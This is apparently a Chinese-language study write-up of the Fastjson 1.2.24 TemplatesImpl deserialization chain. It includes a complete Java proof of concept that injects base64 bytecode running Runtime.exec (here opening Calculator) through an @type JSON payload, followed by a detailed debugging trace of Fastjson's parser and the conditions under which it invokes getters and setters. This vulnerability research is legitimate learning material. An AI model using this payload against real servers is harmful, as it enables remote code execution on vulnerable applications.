FastJson利用鏈
Fastjson的版本在1.2.22-1.2.24主要有兩條鏈利用TemplatsImpl和JdbcRowSetImpl利用鏈先來學習TemplatsImpl利用鏈,這個與前面jdk7u21所用的都是通過defineclass來例項化惡意位元組碼導致的任意程式碼執行。
1、漏洞復現
元件依賴版本:
<dependencies>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
利用鏈:
- JDK7u21
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
poc
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class fastjsonTest {
public static class test{}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "akka1" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
System.out.println(evilCode_base64);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }," + "\"" +
"_version\":\"1.0\",\"" +
"allowedProtocols\":\"all\"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
}
看完poc,有幾個問題,希望在除錯的過程解決他
1.為什麼_bytecodes為什麼要base64加密
在執行JSON.parseObject()中,會迴圈獲取所以欄位
value = parser.parseObject(clazz, (Object)null);
在com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze方法會呼叫byteValue方法,跟進去看看
會呼叫base64解碼
2._outputProperties使用來幹什麼的,用來生成getoutputProperties去呼叫newTransformer
3.parseObject 為什麼要設定Feature.SupportNonPublicField,序列化時用來呼叫private型別的屬性
4._tfactory為什麼為{}, 因為在jdk7u21在defineTransletClasses()
時會呼叫getExternalExtensionsMap()
,當為null時會報錯
2、漏洞利用條件
- 服務端使用parseObject()時,必須使用如下格式才能觸發漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
- 服務端使用parse()時,需要
JSON.parse(text1,Feature.SupportNonPublicField)
3、漏洞除錯
我們在parseObject打下斷點,我們跟進 parseObject方法
進入input為我們的惡意json字串程式碼,第二個是Object的型別,第三個是例項化的ParserConfig,第四個就是序列化時用來呼叫private型別的屬性,進入他的過載方法多了兩個引數,一個ParseProcess型別的null,一個是整形的DEFAULT_PARSER_FEATURE(989)
進入到了主要的parseObject方法,首先比較一下featureValues和feature,然後例項化了一個DefaultJSONParser,裡面存著我們的input(惡意程式碼),我們跟進去看
發現繼續呼叫了過載方法,繼續跟進
進入DefaultJSONParser發現繼續一大堆賦值,我們重點看看lexer,後面會用到,其實lexer是通過new JSONScanner(input, length, features)獲取的
我們先看看JSONScanner的構造方法,把input變成了字串呼叫了自己的過載方法,
public JSONScanner(char[] input, int inputLength, int features) {
this(new String(input, 0, inputLength), features);
}
然後把input賦值給了this.text,然後呼叫了next()方法,跟進next方法
拿到;”{“賦值給this.ch,
所以lexer就是一個儲存了一個惡意字串的物件
然後我們繼續回到DefaultJSONParser的構造方法,我們跟進lexer.getCurrent()的方法就是用於返回ch的,ch為{
所以進入if,呼叫lexer的next(),這是後的ch的值為雙引號("),我們看重點lexer.token被賦值為了12
我們繼續回到Json.class,再一次呼叫了DefaultJSONParser的parseObject的過載方法,繼續跟進去
判斷一下token,因為lexer.token()為12.,然後獲取一個ObjectDeserializer,derializer去呼叫deserialze方法,把this穿進去了(惡意程式碼),跟進去看看
進入來,this被賦值給parser了,判斷是不是GenericArrayType型別,我們傳入的是Object.class,進入else,當type instanceof Class && type != Object.class && type != Serializable.class為ture則呼叫parser.parseObject(type) 否則呼叫parser.parse(fieldName),這裡肯定是flase的進入parser.parse(fieldName),因為type 就是Object.class。我們繼續跟進
進入他使用了將this.lexer賦值給lexer,就是我們前面分析的DefaultJSONParser的構造方法賦值,且lexer.token()為12.
我們直接看case等於12的,繼續跟進this.parseObject((Map)object, fieldName)
因為token等於12,所以進入else,而ch前面分析過為雙引號("),所以進入if,呼叫lexer.scanSymbol方法
先看this.symbolTable,存的是@type,
所以key為@type
然後我們越過else,直接看下面的程式碼
我們直接來看重點,就是下面這段,判斷key是否為@JSON.DEFAULT_TYPE_KEY,這個其實就是@type,然後進入我if。
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
其實我們跟進去發現,他就是一個一個字串的獲取@type欄位傳入的值,賦值給ref
這是通過TypeUtils.loadClass反射獲取類物件clazz,其實就是templatesImpl
然後到了這裡,我們跟進this.config.getDeserializer(clazz)clazz就是templateImpl,但是隻有明明只,就是ParserConfig
判斷是不是Class物件,明顯是,繼續跟進ParserConfig的this.getDeserializer((Class)type, type);
進入之後我們一步一步往下走。
走到這我們也可以發現class就是我們在@type存入的東西TemplatesImpl
在往下走到這行程式碼,建立建一個反序列化bean(語譯),我們跟進去
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
進去發現對clazz進行一系列判斷賦值,繼續走
到了beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy),繼續跟進
進入到JavaBeanInfo.build,我們挑重點來看
第一個圖set
第二個get
@type
拿到類之後,通過反射拿到該類所有的方法存入methods,接下來遍歷methods進而獲取get、set方法
如上圖,自動呼叫set方法的條件是
- 方法名長度大於4
- 非靜態方法
- 返回值為void或當前類
- 方法名以set開頭
- 引數個數為1
如上圖,自動get方法方法的條件是
- 方法名長度大於等於4
- 非靜態方法
- 以get開頭且第4個字母為大寫
- 無傳入引數
- 返回值型別繼承自Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong
我們直接看get這裡,迴圈獲取方法名getOutputProperties,然後進入迴圈,然後根據紅框,從第四位取起,然後變成小寫,
所以propertyName就是outputProperties
然後就是判斷fieldList這個陣列裡面有沒有這個方法,沒有就把他加進去,再返回JavaBeanInfo
好了現在我們再回到DefaultJSONParser繼續除錯,此時的JavaBeanDeserializer的deserializer是已經包含了beaninfo(存放了outputproperties),我們跟進deserializer.deserialze(this, clazz, fieldName);
進入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的deserialze方法,繼續進入兩次過載方法
進入到我們的主要函式,我依然看關鍵節點的資料
第一個可以看出我們的確在this.sortedFieldDeserializers中存入了outputproperties,從建構函式得知this.sortedFieldDeserializers[]就是通過beanInfo賦值得到的。
然後就是迴圈我們json資料了,太多程式碼了,我們繼續看重點,這裡的key就是我們json的第二欄位存入的值,如下圖,我們跟進去
進入parseField,繼續呼叫了smartMatch,我們繼續跟進
進入後判斷一下有沒有key的fieldDeserializer,如果沒有就把_bytecodes替換為bytecodes,
我們繼續回到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的parseField方法,走到這,繼續跟進
進入到com.alibaba.fastjson.parser.deserializer的DefaultFieldDeserializer的parseField方法
我繼續走到this.setValue(object, value),此處穿的object是TemplatesImpl ,value為惡意程式碼類的位元組,value就是通過parser讀取出來的
繼續進入setvalue方法
這個過程會在JavaBeanDeserializer迴圈進行,知道獲取完所有的json欄位,直到method != null,我們的json欄位中只有_outputProperties符合,成功進入if,然後反射執行,繼續跟進幾個invoke方法進入到TemplatesImpl
TemplatesImpl呼叫getOutputProperties--》再呼叫newTransformer,跟jdk7u21鏈和cc2鏈後面一樣的,就不繼續跟了
4、結束
這次的Fastjson的TemplatesImpl鏈花費10個小時,一點點跟,瞭解一些細節,這條鏈可以說很長,細節也很多,參考了很多大佬的文章。
參考
https://www.cnblogs.com/nice0e3/p/14601670.html#
https://y4er.com/post/fastjson-learn/